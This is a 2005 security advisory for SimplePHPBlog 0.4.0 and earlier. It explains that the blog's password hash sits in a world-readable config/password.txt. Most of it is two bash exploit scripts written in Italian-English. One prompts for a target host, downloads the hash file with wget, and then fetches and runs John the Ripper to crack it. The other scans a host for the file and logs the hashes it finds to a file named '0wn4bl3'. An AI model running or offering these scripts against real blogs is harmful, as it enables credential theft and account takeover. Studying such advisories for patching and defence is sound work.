[EXPL] SimplePHPBlog Password Disclosure (Exploit)
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Date: 08/14/05
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SimplePHPBlog Password Disclosure (Exploit)
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SUMMARY
<http://www.simplephpblog.com/> SimplePHPBlog - "The main advantage of
using <http://www.simplephpblog.com/> Simple PHP Blog is that it only
requires PHP 4 (or greater) and write permission on the server."
A vulnerability in SimplePHPBlog allows remote attackers to cause the
program to disclose its password hash file.
DETAILS
Vulnerable Systems:
* SimplePHPBlog versions 0.4.0 and prior
Vulnerable code:
bash-3.00# cat install02.php
$result = create_folder( 'config' );
bash-3.00# cat sb_login.php
// If there's no password file then need to redirect them.
$passFile = 'config/password.txt';
----------------------------------------------------------------------------------------
function create_password ( $user, $pass ) {
// Generate and store password hash
$mypasswd = $user.$pass;
$hashed = crypt($mypasswd);
// Save File
$filename = 'config/password.txt';
$result = sb_write_file( $filename, $hashed );
----------------------------------------------------------------------------------------
function check_password ( $user, $pass ) {
// Check password against hashed password file
$passFile = 'config/password.txt';
$hashed = sb_read_file( $passFile );
bash-3.00# ls -l `pwd` |grep config
drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config
Exploit:
bash-3.00$ cat 0x***-phpblog.sh
#!/bin/bash
##################################
#
# 0x***-phpblog.sh - SimplePHPBlog Remote Password Disclosure. (for
dummy)
#
# 0xpjply CONFIDENTIAL - SOURCE MATERIALS
#
# This is published proprietary source code of 0xpjply
#
# (C) COPYRIGHT 0xpjply security guru group, 2005
# All Rights Reserved
#
# dummy exploit written by pjphem && infected on July 2005
#
##################################
# contact:
# pjphem && LazyCrs
#
# pjphem@mybox.it && fLazyCrs@GMail.com
#
#Greetz:
#
# You think you know? You have no idea!
# fluffi-
#
#
#
# RAFA FREE
#
##################################
echo ""
echo ""
echo " +++++++++++++++++++++++++++++ "
echo " =: SimplePHPBlog Remote Password Disclosure. - for dummy :=
"
echo " +++++++++++++++++++++++++++++ "
echo ""
echo " c0de by pjphem "
echo ""
echo ""
echo " vulnerabili Simple php blog 0.4.4 <= "
echo ""
echo ""
echo -n "inserisci un hostname: " ; read hostname ;
echo -n "inserisci dir: " ; read dir ;
echo ""
echo "[*] praparando l'ambiente..."
mkdir 0xpjply
cd 0xpjply
echo -t3 "[*] OK!"
echo "[*] Cattura password..."
wget http://$hostname/$dir/config/password.txt
echo "[*] OK!"
echo ""
echo ""
echo "Show password: (md5)"
echo ""
cat password.txt
echo ""
rm -rf password.txt
echo ""
echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] "
read Q
if [ $Q = y ];
then echo "[*] OK!" ; wget [John the RipperURL]/john.tar.gz
else
exit 1;
fi
tar -zxf john.tar.gz
cd john
echo ""
echo "[*] Dowloading password.."
echo ""
wget http://$hostname/$dir/config/password.txt
echo ""
echo "Done!"
echo ""
echo "STARING John for decript password.. enJoy"
/jonh password.txt
echo ""
echo ""
bash-3.00$ cat 0x***-phpblog-scanner.sh
#!/bin/bash
#
# Simple tester for phpblog
#
# phpblog 0.4.4 <=
#
####################
echo "host , directory blog: (ex. test.it blog)"
read HOST BLOG
lynx -source http://$HOST/$BLOG/config/password.txt | grep $1$ >> 0wn4bl3
bash-3.00$
ADDITIONAL INFORMATION
The information has been provided by <mailto:pjphem@mybox.it> pjphem.
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